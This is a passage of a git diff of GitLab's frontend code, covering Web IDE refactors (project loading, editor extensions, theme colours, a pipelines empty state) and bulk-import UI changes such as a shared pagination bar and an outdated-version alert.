class="ide-sidebar-link js-ide-review-mode"
@click.prevent="changedActivityView($event, $options.leftSidebarViews.review.name)"
>
- <gl-icon name="file-modified" />
+ <gl-icon name="review-list" />
</button>
</li>
<li>
diff --git a/app/assets/javascripts/ide/components/ide_tree_list.vue b/app/assets/javascripts/ide/components/ide_tree_list.vue
index b987adc8bae..0fc7337ad26 100644
--- a/app/assets/javascripts/ide/components/ide_tree_list.vue
+++ b/app/assets/javascripts/ide/components/ide_tree_list.vue
@@ -29,14 +29,20 @@ export default {
},
},
watch: {
- showLoading(newVal) {
- if (!newVal) {
- this.$emit('tree-ready');
- }
+ showLoading() {
+ this.notifyTreeReady();
},
},
+ mounted() {
+ this.notifyTreeReady();
+ },
methods: {
...mapActions(['toggleTreeOpen']),
+ notifyTreeReady() {
+ if (!this.showLoading) {
+ this.$emit('tree-ready');
+ }
+ },
clickedFile() {
performanceMarkAndMeasure({ mark: WEBIDE_MARK_FILE_CLICKED });
},
diff --git a/app/assets/javascripts/ide/components/new_dropdown/index.vue b/app/assets/javascripts/ide/components/new_dropdown/index.vue
index bdd201aac1b..87b60eca73c 100644
--- a/app/assets/javascripts/ide/components/new_dropdown/index.vue
+++ b/app/assets/javascripts/ide/components/new_dropdown/index.vue
@@ -67,7 +67,7 @@ export default {
data-qa-selector="dropdown_button"
@click.stop="openDropdown()"
>
- <gl-icon name="ellipsis_v" /> <gl-icon name="chevron-down" />
+ <gl-icon name="ellipsis_v" />
</button>
<ul ref="dropdownMenu" class="dropdown-menu dropdown-menu-right">
<template v-if="type === 'tree'">
diff --git a/app/assets/javascripts/ide/components/pipelines/empty_state.vue b/app/assets/javascripts/ide/components/pipelines/empty_state.vue
new file mode 100644
index 00000000000..194deb2ece0
--- /dev/null
+++ b/app/assets/javascripts/ide/components/pipelines/empty_state.vue
@@ -0,0 +1,35 @@
+<script>
+import { GlEmptyState } from '@gitlab/ui';
+import { mapState } from 'vuex';
+import { s__ } from '~/locale';
+import { helpPagePath } from '~/helpers/help_page_helper';
+
+export default {
+ components: {
+ GlEmptyState,
+ },
+ computed: {
+ ...mapState(['pipelinesEmptyStateSvgPath']),
+ ciHelpPagePath() {
+ return helpPagePath('ci/quick_start/index.md');
+ },
+ },
+ i18n: {
+ title: s__('Pipelines|Build with confidence'),
+ description: s__(`Pipelines|GitLab CI/CD can automatically build,
+ test, and deploy your code. Let GitLab take care of time
+ consuming tasks, so you can spend more time creating.`),
+ primaryButtonText: s__('Pipelines|Get started with GitLab CI/CD'),
+ },
+};
+</script>
+
+<template>
+ <gl-empty-state
+ :title="$options.i18n.title"
+ :svg-path="pipelinesEmptyStateSvgPath"
+ :description="$options.i18n.description"
+ :primary-button-text="$options.i18n.primaryButtonText"
+ :primary-button-link="ciHelpPagePath"
+ />
+</template>
diff --git a/app/assets/javascripts/ide/components/pipelines/list.vue b/app/assets/javascripts/ide/components/pipelines/list.vue
index e1caf1ba44a..7f513afe82e 100644
--- a/app/assets/javascripts/ide/components/pipelines/list.vue
+++ b/app/assets/javascripts/ide/components/pipelines/list.vue
@@ -11,10 +11,17 @@ import {
import { escape } from 'lodash';
import { mapActions, mapGetters, mapState } from 'vuex';
import IDEServices from '~/ide/services';
-import { sprintf, __ } from '../../../locale';
-import EmptyState from '../../../pipelines/components/pipelines_list/empty_state.vue';
-import CiIcon from '../../../vue_shared/components/ci_icon.vue';
+import { sprintf, __ } from '~/locale';
+import CiIcon from '~/vue_shared/components/ci_icon.vue';
import JobsList from '../jobs/list.vue';
+import EmptyState from './empty_state.vue';
+
+const CLASSES_FLEX_VERTICAL_CENTER = [
+ 'gl-h-full',
+ 'gl-display-flex',
+ 'gl-flex-direction-column',
+ 'gl-justify-content-center',
+];
export default {
components: {
@@ -32,7 +39,6 @@ export default {
SafeHtml,
},
computed: {
- ...mapState(['pipelinesEmptyStateSvgPath']),
...mapGetters(['currentProject']),
...mapGetters('pipelines', ['jobsCount', 'failedJobsCount', 'failedStages', 'pipelineFailed']),
...mapState('pipelines', [
@@ -63,12 +69,15 @@ export default {
methods: {
...mapActions('pipelines', ['fetchLatestPipeline']),
},
+ CLASSES_FLEX_VERTICAL_CENTER,
};
</script>
<template>
<div class="ide-pipeline">
- <gl-loading-icon v-if="showLoadingIcon" size="lg" class="gl-mt-3" />
+ <div v-if="showLoadingIcon" :class="$options.CLASSES_FLEX_VERTICAL_CENTER">
+ <gl-loading-icon size="lg" />
+ </div>
<template v-else-if="hasLoadedPipeline">
<header v-if="latestPipeline" class="ide-tree-header ide-pipeline-header">
<ci-icon :status="latestPipeline.details.status" :size="24" class="d-flex" />
@@ -83,12 +92,9 @@ export default {
</a>
</span>
</header>
- <empty-state
- v-if="!latestPipeline"
- :empty-state-svg-path="pipelinesEmptyStateSvgPath"
- :can-set-ci="true"
- class="gl-p-5"
- />
+ <div v-if="!latestPipeline" :class="$options.CLASSES_FLEX_VERTICAL_CENTER">
+ <empty-state />
+ </div>
<gl-alert
v-else-if="latestPipeline.yamlError"
variant="danger"
diff --git a/app/assets/javascripts/ide/components/repo_editor.vue b/app/assets/javascripts/ide/components/repo_editor.vue
index 2bf99550bf2..05493db1dff 100644
--- a/app/assets/javascripts/ide/components/repo_editor.vue
+++ b/app/assets/javascripts/ide/components/repo_editor.vue
@@ -7,6 +7,7 @@ import {
EDITOR_CODE_INSTANCE_FN,
EDITOR_DIFF_INSTANCE_FN,
} from '~/editor/constants';
+import { SourceEditorExtension } from '~/editor/extensions/source_editor_extension_base';
import { EditorWebIdeExtension } from '~/editor/extensions/source_editor_webide_ext';
import SourceEditor from '~/editor/source_editor';
import createFlash from '~/flash';
@@ -302,30 +303,32 @@ export default {
...instanceOptions,
...this.editorOptions,
});
-
- this.editor.use(
- new EditorWebIdeExtension({
- instance: this.editor,
- modelManager: this.modelManager,
- store: this.$store,
- file: this.file,
- options: this.editorOptions,
- }),
- );
+ this.editor.use([
+ {
+ definition: SourceEditorExtension,
+ },
+ {
+ definition: EditorWebIdeExtension,
+ setupOptions: {
+ modelManager: this.modelManager,
+ store: this.$store,
+ file: this.file,
+ options: this.editorOptions,
+ },
+ },
+ ]);
if (
this.fileType === MARKDOWN_FILE_TYPE &&
this.editor?.getEditorType() === EDITOR_TYPE_CODE &&
this.previewMarkdownPath
) {
- import('~/editor/extensions/source_editor_markdown_ext')
- .then(({ EditorMarkdownExtension: MarkdownExtension } = {}) => {
- this.editor.use(
- new MarkdownExtension({
- instance: this.editor,
- previewMarkdownPath: this.previewMarkdownPath,
- }),
- );
+ import('~/editor/extensions/source_editor_markdown_livepreview_ext')
+ .then(({ EditorMarkdownPreviewExtension: MarkdownLivePreview }) => {
+ this.editor.use({
+ definition: MarkdownLivePreview,
+ setupOptions: { previewMarkdownPath: this.previewMarkdownPath },
+ });
})
.catch((e) =>
createFlash({
diff --git a/app/assets/javascripts/ide/constants.js b/app/assets/javascripts/ide/constants.js
index 706d98fdb90..775b6906498 100644
--- a/app/assets/javascripts/ide/constants.js
+++ b/app/assets/javascripts/ide/constants.js
@@ -76,15 +76,15 @@ export const stageKeys = {
export const commitItemIconMap = {
addition: {
icon: 'file-addition',
- class: 'ide-file-addition',
+ class: 'file-addition ide-file-addition',
},
modified: {
icon: 'file-modified',
- class: 'ide-file-modified',
+ class: 'file-modified ide-file-modified',
},
deleted: {
icon: 'file-deletion',
- class: 'ide-file-deletion',
+ class: 'file-deletion ide-file-deletion',
},
};
diff --git a/app/assets/javascripts/ide/ide_router.js b/app/assets/javascripts/ide/ide_router.js
index 27cedd80347..1fc447886bb 100644
--- a/app/assets/javascripts/ide/ide_router.js
+++ b/app/assets/javascripts/ide/ide_router.js
@@ -1,8 +1,6 @@
import Vue from 'vue';
-import createFlash from '~/flash';
import IdeRouter from '~/ide/ide_router_extension';
import { joinPaths } from '~/lib/utils/url_utility';
-import { __ } from '~/locale';
import {
WEBIDE_MARK_FETCH_PROJECT_DATA_START,
WEBIDE_MARK_FETCH_PROJECT_DATA_FINISH,
@@ -75,49 +73,34 @@ export const createRouter = (store, defaultBranch) => {
router.beforeEach((to, from, next) => {
if (to.params.namespace && to.params.project) {
- performanceMarkAndMeasure({ mark: WEBIDE_MARK_FETCH_PROJECT_DATA_START });
- store
- .dispatch('getProjectData', {
- namespace: to.params.namespace,
- projectId: to.params.project,
- })
- .then(() => {
- const basePath = to.params.pathMatch || '';
- const projectId = `${to.params.namespace}/${to.params.project}`;
- const branchId = to.params.branchid;
- const mergeRequestId = to.params.mrid;
+ const basePath = to.params.pathMatch || '';
+ const projectId = `${to.params.namespace}/${to.params.project}`;
+ const branchId = to.params.branchid;
+ const mergeRequestId = to.params.mrid;
- if (branchId) {
- performanceMarkAndMeasure({
- mark: WEBIDE_MARK_FETCH_PROJECT_DATA_FINISH,
- measures: [
- {
- name: WEBIDE_MEASURE_FETCH_PROJECT_DATA,
- start: WEBIDE_MARK_FETCH_PROJECT_DATA_START,
- },
- ],
- });
- store.dispatch('openBranch', {
- projectId,
- branchId,
- basePath,
- });
- } else if (mergeRequestId) {
- store.dispatch('openMergeRequest', {
- projectId,
- mergeRequestId,
- targetProjectId: to.query.target_project,
- });
- }
- })
- .catch((e) => {
- createFlash({
- message: __('Error while loading the project data. Please try again.'),
- fadeTransition: false,
- addBodyClass: true,
- });
- throw e;
+ performanceMarkAndMeasure({ mark: WEBIDE_MARK_FETCH_PROJECT_DATA_START });
+ if (branchId) {
+ performanceMarkAndMeasure({
+ mark: WEBIDE_MARK_FETCH_PROJECT_DATA_FINISH,
+ measures: [
+ {
+ name: WEBIDE_MEASURE_FETCH_PROJECT_DATA,
+ start: WEBIDE_MARK_FETCH_PROJECT_DATA_START,
+ },
+ ],
+ });
+ store.dispatch('openBranch', {
+ projectId,
+ branchId,
+ basePath,
+ });
+ } else if (mergeRequestId) {
+ store.dispatch('openMergeRequest', {
+ projectId,
+ mergeRequestId,
+ targetProjectId: to.query.target_project,
});
+ }
}
next();
diff --git a/app/assets/javascripts/ide/index.js b/app/assets/javascripts/ide/index.js
index bdffed70882..df643675357 100644
--- a/app/assets/javascripts/ide/index.js
+++ b/app/assets/javascripts/ide/index.js
@@ -34,11 +34,18 @@ Vue.use(PerformancePlugin, {
* @param {extendStoreCallback} options.extendStore -
* Function that receives the default store and returns an extended one.
*/
-export function initIde(el, options = {}) {
+export const initIde = (el, options = {}) => {
if (!el) return null;
const { rootComponent = ide, extendStore = identity } = options;
+
const store = createStore();
+ const project = JSON.parse(el.dataset.project);
+ store.dispatch('setProject', { project });
+
+ // fire and forget fetching non-critical project info
+ store.dispatch('fetchProjectPermissions');
+
const router = createRouter(store, el.dataset.defaultBranch || DEFAULT_BRANCH);
return new Vue({
@@ -77,7 +84,7 @@ export function initIde(el, options = {}) {
return createElement(rootComponent);
},
});
-}
+};
/**
* Start the IDE.
diff --git a/app/assets/javascripts/ide/lib/themes/monokai.js b/app/assets/javascripts/ide/lib/themes/monokai.js
index d7636574754..36fa5039be7 100644
--- a/app/assets/javascripts/ide/lib/themes/monokai.js
+++ b/app/assets/javascripts/ide/lib/themes/monokai.js
@@ -162,8 +162,8 @@ export default {
'editor.selectionBackground': '#49483E',
'editor.lineHighlightBackground': '#3E3D32',
'editorCursor.foreground': '#F8F8F0',
- 'editorWhitespace.foreground': '#3B3A32',
'editorIndentGuide.activeBackground': '#9D550FB0',
'editor.selectionHighlightBorder': '#222218',
+ 'editorWhitespace.foreground': '#75715e',
},
};
diff --git a/app/assets/javascripts/ide/lib/themes/none.js b/app/assets/javascripts/ide/lib/themes/none.js
index 8e722c4ff88..0842bc04cff 100644
--- a/app/assets/javascripts/ide/lib/themes/none.js
+++ b/app/assets/javascripts/ide/lib/themes/none.js
@@ -13,5 +13,6 @@ export default {
'diffEditor.insertedTextBackground': '#a0f5b420',
'diffEditor.removedTextBackground': '#f9d7dc20',
'editorIndentGuide.activeBackground': '#cccccc',
+ 'editorSuggestWidget.focusHighlightForeground': '#96D8FD',
},
};
diff --git a/app/assets/javascripts/ide/lib/themes/solarized_dark.js b/app/assets/javascripts/ide/lib/themes/solarized_dark.js
index 3c9414b9dc9..8ae609285ac 100644
--- a/app/assets/javascripts/ide/lib/themes/solarized_dark.js
+++ b/app/assets/javascripts/ide/lib/themes/solarized_dark.js
@@ -1105,6 +1105,6 @@ export default {
'editor.selectionBackground': '#073642',
'editor.lineHighlightBackground': '#073642',
'editorCursor.foreground': '#819090',
- 'editorWhitespace.foreground': '#073642',
+ 'editorWhitespace.foreground': '#586e75',
},
};
diff --git a/app/assets/javascripts/ide/lib/themes/solarized_light.js b/app/assets/javascripts/ide/lib/themes/solarized_light.js
index b7bfcf33b0f..2c9f3d904f1 100644
--- a/app/assets/javascripts/ide/lib/themes/solarized_light.js
+++ b/app/assets/javascripts/ide/lib/themes/solarized_light.js
@@ -1096,6 +1096,6 @@ export default {
'editor.selectionBackground': '#EEE8D5',
'editor.lineHighlightBackground': '#EEE8D5',
'editorCursor.foreground': '#000000',
- 'editorWhitespace.foreground': '#EAE3C9',
+ 'editorWhitespace.foreground': '#93a1a1',
},
};
diff --git a/app/assets/javascripts/ide/lib/themes/white.js b/app/assets/javascripts/ide/lib/themes/white.js
index f06458d8a16..69c63c82021 100644
--- a/app/assets/javascripts/ide/lib/themes/white.js
+++ b/app/assets/javascripts/ide/lib/themes/white.js
@@ -142,5 +142,6 @@ export default {
'diffEditor.insertedTextBackground': '#a0f5b420',
'diffEditor.removedTextBackground': '#f9d7dc20',
'editorIndentGuide.activeBackground': '#cccccc',
+ 'editorSuggestWidget.focusHighlightForeground': '#96D8FD',
},
};
diff --git a/app/assets/javascripts/ide/queries/ide_project.fragment.graphql b/app/assets/javascripts/ide/queries/ide_project.fragment.graphql
index c107f2376f9..a0b520858e6 100644
--- a/app/assets/javascripts/ide/queries/ide_project.fragment.graphql
+++ b/app/assets/javascripts/ide/queries/ide_project.fragment.graphql
@@ -1,4 +1,5 @@
fragment IdeProject on Project {
+ id
userPermissions {
createMergeRequestIn
readMergeRequest
diff --git a/app/assets/javascripts/ide/services/index.js b/app/assets/javascripts/ide/services/index.js
index ef4f47f226a..805476c71bc 100644
--- a/app/assets/javascripts/ide/services/index.js
+++ b/app/assets/javascripts/ide/services/index.js
@@ -1,19 +1,12 @@
-import getIdeProject from 'ee_else_ce/ide/queries/get_ide_project.query.graphql';
import Api from '~/api';
+import getIdeProject from 'ee_else_ce/ide/queries/get_ide_project.query.graphql';
import dismissUserCallout from '~/graphql_shared/mutations/dismiss_user_callout.mutation.graphql';
+import { getIdFromGraphQLId } from '~/graphql_shared/utils';
import axios from '~/lib/utils/axios_utils';
import { joinPaths, escapeFileUrl } from '~/lib/utils/url_utility';
-import ciConfig from '~/pipeline_editor/graphql/queries/ci_config.graphql';
+import ciConfig from '~/pipeline_editor/graphql/queries/ci_config.query.graphql';
import { query, mutate } from './gql';
-const fetchApiProjectData = (projectPath) => Api.project(projectPath).then(({ data }) => data);
-
-const fetchGqlProjectData = (projectPath) =>
- query({
- query: getIdeProject,
- variables: { projectPath },
- }).then(({ data }) => data.project);
-
export default {
getFileData(endpoint) {
return axios.get(endpoint, {
@@ -61,18 +54,6 @@ export default {
)
.then(({ data }) => data);
},
- getProjectData(namespace, project) {
- const projectPath = `${namespace}/${project}`;
-
- return Promise.all([fetchApiProjectData(projectPath), fetchGqlProjectData(projectPath)]).then(
- ([apiProjectData, gqlProjectData]) => ({
- data: {
- ...apiProjectData,
- ...gqlProjectData,
- },
- }),
- );
- },
getProjectMergeRequests(projectId, params = {}) {
return Api.projectMergeRequests(projectId, params);
},
@@ -115,4 +96,13 @@ export default {
variables: { input: { featureName: name } },
}).then(({ data }) => data);
},
+ getProjectPermissionsData(projectPath) {
+ return query({
+ query: getIdeProject,
+ variables: { projectPath },
+ }).then(({ data }) => ({
+ ...data.project,
+ id: getIdFromGraphQLId(data.project.id),
+ }));
+ },
};
diff --git a/app/assets/javascripts/ide/stores/actions/project.js b/app/assets/javascripts/ide/stores/actions/project.js
index 93ad19ba81e..0ec808339fb 100644
--- a/app/assets/javascripts/ide/stores/actions/project.js
+++ b/app/assets/javascripts/ide/stores/actions/project.js
@@ -1,35 +1,44 @@
import { escape } from 'lodash';
import createFlash from '~/flash';
import { __, sprintf } from '~/locale';
+import { logError } from '~/lib/logger';
import api from '../../../api';
import service from '../../services';
import * as types from '../mutation_types';
-export const getProjectData = ({ commit, state }, { namespace, projectId, force = false } = {}) =>
- new Promise((resolve, reject) => {
- if (!state.projects[`${namespace}/${projectId}`] || force) {
- commit(types.TOGGLE_LOADING, { entry: state });
- service
- .getProjectData(namespace, projectId)
- .then((res) => res.data)
- .then((data) => {
- commit(types.TOGGLE_LOADING, { entry: state });
- commit(types.SET_PROJECT, { projectPath: `${namespace}/${projectId}`, project: data });
- commit(types.SET_CURRENT_PROJECT, `${namespace}/${projectId}`);
- resolve(data);
- })
- .catch(() => {
- createFlash({
- message: __('Error loading project data. Please try again.'),
- fadeTransition: false,
- addBodyClass: true,
- });
- reject(new Error(`Project not loaded ${namespace}/${projectId}`));
- });
- } else {
- resolve(state.projects[`${namespace}/${projectId}`]);
- }
+const ERROR_LOADING_PROJECT = __('Error loading project data. Please try again.');
+
+const errorFetchingData = (e) => {
+ logError(ERROR_LOADING_PROJECT, e);
+
+ createFlash({
+ message: ERROR_LOADING_PROJECT,
+ fadeTransition: false,
+ addBodyClass: true,
});
+};
+
+export const setProject = ({ commit }, { project } = {}) => {
+ if (!project) {
+ return;
+ }
+ const projectPath = project.path_with_namespace;
+ commit(types.SET_PROJECT, { projectPath, project });
+ commit(types.SET_CURRENT_PROJECT, projectPath);
+};
+
+export const fetchProjectPermissions = ({ commit, state }) => {
+ const projectPath = state.currentProjectId;
+ if (!projectPath) {
+ return undefined;
+ }
+ return service
+ .getProjectPermissionsData(projectPath)
+ .then((permissions) => {
+ commit(types.UPDATE_PROJECT, { projectPath, props: permissions });
+ })
+ .catch(errorFetchingData);
+};
export const refreshLastCommitData = ({ commit }, { projectId, branchId } = {}) =>
service
diff --git a/app/assets/javascripts/ide/stores/mutation_types.js b/app/assets/javascripts/ide/stores/mutation_types.js
index 77755b179ef..13f338c4a48 100644
--- a/app/assets/javascripts/ide/stores/mutation_types.js
+++ b/app/assets/javascripts/ide/stores/mutation_types.js
@@ -8,6 +8,7 @@ export const SET_LINKS = 'SET_LINKS';
// Project Mutation Types
export const SET_PROJECT = 'SET_PROJECT';
export const SET_CURRENT_PROJECT = 'SET_CURRENT_PROJECT';
+export const UPDATE_PROJECT = 'UPDATE_PROJECT';
export const TOGGLE_EMPTY_STATE = 'TOGGLE_EMPTY_STATE';
// Merge request mutation types
diff --git a/app/assets/javascripts/ide/stores/mutations/project.js b/app/assets/javascripts/ide/stores/mutations/project.js
index 034fdad4305..9f65d3a543e 100644
--- a/app/assets/javascripts/ide/stores/mutations/project.js
+++ b/app/assets/javascripts/ide/stores/mutations/project.js
@@ -1,3 +1,4 @@
+import Vue from 'vue';
import * as types from '../mutation_types';
export default {
@@ -24,4 +25,15 @@ export default {
empty_repo: value,
});
},
+ [types.UPDATE_PROJECT](state, { projectPath, props }) {
+ const project = state.projects[projectPath];
+
+ if (!project || !props) {
+ return;
+ }
+
+ Object.keys(props).forEach((key) => {
+ Vue.set(project, key, props[key]);
+ });
+ },
};
diff --git a/app/assets/javascripts/import_entities/components/pagination_bar.vue b/app/assets/javascripts/import_entities/components/pagination_bar.vue
deleted file mode 100644
index 33bd3e08bb1..00000000000
--- a/app/assets/javascripts/import_entities/components/pagination_bar.vue
+++ /dev/null
@@ -1,90 +0,0 @@
-<script>
-import { GlDropdown, GlDropdownItem, GlIcon, GlSprintf } from '@gitlab/ui';
-import { __ } from '~/locale';
-import PaginationLinks from '~/vue_shared/components/pagination_links.vue';
-
-const DEFAULT_PAGE_SIZES = [20, 50, 100];
-
-export default {
- components: {
- PaginationLinks,
- GlDropdown,
- GlDropdownItem,
- GlIcon,
- GlSprintf,
- },
- props: {
- pageInfo: {
- required: true,
- type: Object,
- },
- pageSizes: {
- required: false,
- type: Array,
- default: () => DEFAULT_PAGE_SIZES,
- },
- itemsCount: {
- required: true,
- type: Number,
- },
- },
-
- computed: {
- humanizedTotal() {
- return this.pageInfo.total >= 1000 ? __('1000+') : this.pageInfo.total;
- },
-
- paginationInfo() {
- const { page, perPage } = this.pageInfo;
- const start = (page - 1) * perPage + 1;
- const end = start + this.itemsCount - 1;
-
- return { start, end };
- },
- },
-
- methods: {
- setPage(page) {
- this.$emit('set-page', page);
- },
- },
-};
-</script>
-
-<template>
- <div class="gl-display-flex gl-align-items-center">
- <pagination-links :change="setPage" :page-info="pageInfo" class="gl-m-0" />
- <gl-dropdown category="tertiary" class="gl-ml-auto">
- <template #button-content>
- <span class="gl-font-weight-bold">
- <gl-sprintf :message="__('%{count} items per page')">
- <template #count>
- {{ pageInfo.perPage }}
- </template>
- </gl-sprintf>
- </span>
- <gl-icon class="gl-button-icon dropdown-chevron" name="chevron-down" />
- </template>
- <gl-dropdown-item v-for="size in pageSizes" :key="size" @click="$emit('set-page-size', size)">
- <gl-sprintf :message="__('%{count} items per page')">
- <template #count>
- {{ size }}
- </template>
- </gl-sprintf>
- </gl-dropdown-item>
- </gl-dropdown>
- <div class="gl-ml-2" data-testid="information">
- <gl-sprintf :message="s__('BulkImport|Showing %{start}-%{end} of %{total}')">
- <template #start>
- {{ paginationInfo.start }}
- </template>
- <template #end>
- {{ paginationInfo.end }}
- </template>
- <template #total>
- {{ humanizedTotal }}
- </template>
- </gl-sprintf>
- </div>
- </div>
-</template>
diff --git a/app/assets/javascripts/import_entities/import_groups/components/import_actions_cell.vue b/app/assets/javascripts/import_entities/import_groups/components/import_actions_cell.vue
index e004bc35087..deaf2654424 100644
--- a/app/assets/javascripts/import_entities/import_groups/components/import_actions_cell.vue
+++ b/app/assets/javascripts/import_entities/import_groups/components/import_actions_cell.vue
@@ -44,7 +44,7 @@ export default {
:size="16"
name="information-o"
:title="
- s__('BulkImports|Re-import creates a new group. It does not sync with the existing group.')
+ s__('BulkImport|Re-import creates a new group. It does not sync with the existing group.')
"
class="gl-ml-3"
/>
diff --git a/app/assets/javascripts/import_entities/import_groups/components/import_table.vue b/app/assets/javascripts/import_entities/import_groups/components/import_table.vue
index ec6025c84bb..028197ec9b1 100644
--- a/app/assets/javascripts/import_entities/import_groups/components/import_table.vue
+++ b/app/assets/javascripts/import_entities/import_groups/components/import_table.vue
@@ -1,9 +1,8 @@
<script>
import {
+ GlAlert,
GlButton,
GlEmptyState,
- GlDropdown,
- GlDropdownItem,
GlIcon,
GlLink,
GlLoadingIcon,
@@ -14,8 +13,8 @@ import {
} from '@gitlab/ui';
import { debounce } from 'lodash';
import createFlash from '~/flash';
-import { s__, __, n__ } from '~/locale';
-import PaginationLinks from '~/vue_shared/components/pagination_links.vue';
+import { s__, __, n__, sprintf } from '~/locale';
+import PaginationBar from '~/vue_shared/components/pagination_bar/pagination_bar.vue';
import { getGroupPathAvailability } from '~/rest_api';
import axios from '~/lib/utils/axios_utils';
import { DEFAULT_DEBOUNCE_AND_THROTTLE_MS } from '~/lib/utils/constants';
@@ -42,10 +41,9 @@ const DEFAULT_TD_CLASSES = 'gl-vertical-align-top!';
export default {
components: {
+ GlAlert,
GlButton,
GlEmptyState,
- GlDropdown,
- GlDropdownItem,
GlIcon,
GlLink,
GlLoadingIcon,
@@ -57,7 +55,7 @@ export default {
ImportTargetCell,
ImportStatusCell,
ImportActionsCell,
- PaginationLinks,
+ PaginationBar,
},
props: {
@@ -83,6 +81,7 @@ export default {
selectedGroupsIds: [],
pendingGroupsIds: [],
importTargets: {},
+ unavailableFeaturesAlertVisible: true,
};
},
@@ -170,7 +169,7 @@ export default {
},
availableGroupsForImport() {
- return this.groupsTableData.filter((g) => g.flags.isAvailableForImport && g.flags.isInvalid);
+ return this.groupsTableData.filter((g) => g.flags.isAvailableForImport && !g.flags.isInvalid);
},
humanizedTotal() {
@@ -204,6 +203,23 @@ export default {
return { start, end, total };
},
+
+ unavailableFeatures() {
+ if (!this.hasGroups) {
+ return [];
+ }
+
+ return Object.entries(this.bulkImportSourceGroups.versionValidation.features)
+ .filter(([, { available }]) => available === false)
+ .map(([k, v]) => ({ title: i18n.features[k] || k, version: v.minVersion }));
+ },
+
+ unavailableFeaturesAlertTitle() {
+ return sprintf(s__('BulkImport| %{host} is running outdated GitLab version (v%{version})'), {
+ host: this.sourceUrl,
+ version: this.bulkImportSourceGroups.versionValidation.features.sourceInstanceVersion,
+ });
+ },
},
watch: {
@@ -314,9 +330,8 @@ export default {
variables: { importRequests },
});
} catch (error) {
- const message = error?.networkError?.response?.data?.error ?? i18n.ERROR_IMPORT;
createFlash({
- message,
+ message: i18n.ERROR_IMPORT,
captureError: true,
error,
});
@@ -476,6 +491,38 @@ export default {
<img :src="$options.gitlabLogo" class="gl-w-6 gl-h-6 gl-mb-2 gl-display-inline gl-mr-2" />
{{ s__('BulkImport|Import groups from GitLab') }}
</h1>
+ <gl-alert
+ v-if="unavailableFeatures.length > 0 && unavailableFeaturesAlertVisible"
+ variant="warning"
+ :title="unavailableFeaturesAlertTitle"
+ @dismiss="unavailableFeaturesAlertVisible = false"
+ >
+ <gl-sprintf
+ :message="
+ s__(
+ 'BulkImport|Following data will not be migrated: %{bullets} Contact system administrator of %{host} to upgrade GitLab if you need this data in your migration',
+ )
+ "
+ >
+ <template #host>
+ <gl-link :href="sourceUrl" target="_blank">
+ {{ sourceUrl }}<gl-icon name="external-link" class="vertical-align-middle" />
+ </gl-link>
+ </template>
+ <template #bullets>
+ <ul>
+ <li v-for="feature in unavailableFeatures" :key="feature.title">
+ <gl-sprintf :message="s__('BulkImport|%{feature} (require v%{version})')">
+ <template #feature>{{ feature.title }}</template>
+ <template #version>
+ <strong>{{ feature.version }}</strong>
+ </template>
+ </gl-sprintf>
+ </li>
+ </ul>
+ </template>
+ </gl-sprintf>
+ </gl-alert>
<div
class="gl-py-5 gl-border-solid gl-border-gray-200 gl-border-0 gl-border-b-1 gl-display-flex"
>
@@ -495,7 +542,7 @@ export default {
</template>
<template #link>
<gl-link :href="sourceUrl" target="_blank">
- {{ sourceUrl }} <gl-icon name="external-link" class="vertical-align-middle" />
+ {{ sourceUrl }}<gl-icon name="external-link" class="vertical-align-middle" />
</gl-link>
</template>
</gl-sprintf>
@@ -521,13 +568,15 @@ export default {
/>
<template v-else>
<div
- class="gl-bg-gray-10 gl-border-solid gl-border-gray-200 gl-border-0 gl-border-b-1 gl-p-4 gl-display-flex gl-align-items-center"
+ class="gl-bg-gray-10 gl-border-solid gl-border-gray-200 gl-border-0 gl-border-b-1 gl-px-4 gl-display-flex gl-align-items-center import-table-bar"
>
- <gl-sprintf :message="__('%{count} selected')">
- <template #count>
- {{ selectedGroupsIds.length }}
- </template>
- </gl-sprintf>
+ <span data-test-id="selection-count">
+ <gl-sprintf :message="__('%{count} selected')">
+ <template #count>
+ {{ selectedGroupsIds.length }}
+ </template>
+ </gl-sprintf>
+ </span>
<gl-button
category="primary"
variant="confirm"
@@ -539,7 +588,7 @@ export default {
</div>
<gl-table
ref="table"
- class="gl-w-full"
+ class="gl-w-full import-table"
data-qa-selector="import_table"
:tbody-tr-class="rowClasses"
:tbody-tr-attr="qaRowAttributes"
@@ -599,49 +648,13 @@ export default {
/>
</template>
</gl-table>
- <div v-if="hasGroups" class="gl-display-flex gl-mt-3 gl-align-items-center">
- <pagination-links
- :change="setPage"
- :page-info="bulkImportSourceGroups.pageInfo"
- class="gl-m-0"
- />
- <gl-dropdown category="tertiary" :aria-label="__('Page size')" class="gl-ml-auto">
- <template #button-content>
- <span class="font-weight-bold">
- <gl-sprintf :message="__('%{count} items per page')">
- <template #count>
- {{ perPage }}
- </template>
- </gl-sprintf>
- </span>
- <gl-icon class="gl-button-icon dropdown-chevron" name="chevron-down" />
- </template>
- <gl-dropdown-item
- v-for="size in $options.PAGE_SIZES"
- :key="size"
- @click="setPageSize(size)"
- >
- <gl-sprintf :message="__('%{count} items per page')">
- <template #count>
- {{ size }}
- </template>
- </gl-sprintf>
- </gl-dropdown-item>
- </gl-dropdown>
- <div class="gl-ml-2">
- <gl-sprintf :message="s__('BulkImport|Showing %{start}-%{end} of %{total}')">
- <template #start>
- {{ paginationInfo.start }}
- </template>
- <template #end>
- {{ paginationInfo.end }}
- </template>
- <template #total>
- {{ humanizedTotal }}
- </template>
- </gl-sprintf>
- </div>
- </div>
+ <pagination-bar
+ v-if="hasGroups"
+ :page-info="bulkImportSourceGroups.pageInfo"
+ class="gl-mt-3"
+ @set-page="setPage"
+ @set-page-size="setPageSize"
+ />
</template>
</template>
</div>
diff --git a/app/assets/javascripts/import_entities/import_groups/components/import_target_cell.vue b/app/assets/javascripts/import_entities/import_groups/components/import_target_cell.vue
index ca9ae9447d0..344a6e45370 100644
--- a/app/assets/javascripts/import_entities/import_groups/components/import_target_cell.vue
+++ b/app/assets/javascripts/import_entities/import_groups/components/import_target_cell.vue
@@ -32,72 +32,84 @@ export default {
fullPath() {
return this.group.importTarget.targetNamespace.fullPath || s__('BulkImport|No parent');
},
- invalidNameValidationMessage() {
- return getInvalidNameValidationMessage(this.group.importTarget);
+ validationMessage() {
+ return (
+ this.group.progress?.message || getInvalidNameValidationMessage(this.group.importTarget)
+ );
+ },
+ validNameState() {
+ // bootstrap-vue requires null for "indifferent" state, if we return true
+ // this will highlight field in green like "passed validation"
+ return this.group.flags.isInvalid && this.group.flags.isAvailableForImport ? false : null;
},
},
};
</script>
<template>
- <div class="gl-display-flex gl-align-items-stretch">
- <import-group-dropdown
- #default="{ namespaces }"
- :text="fullPath"
- :disabled="!group.flags.isAvailableForImport"
- :namespaces="availableNamespaces"
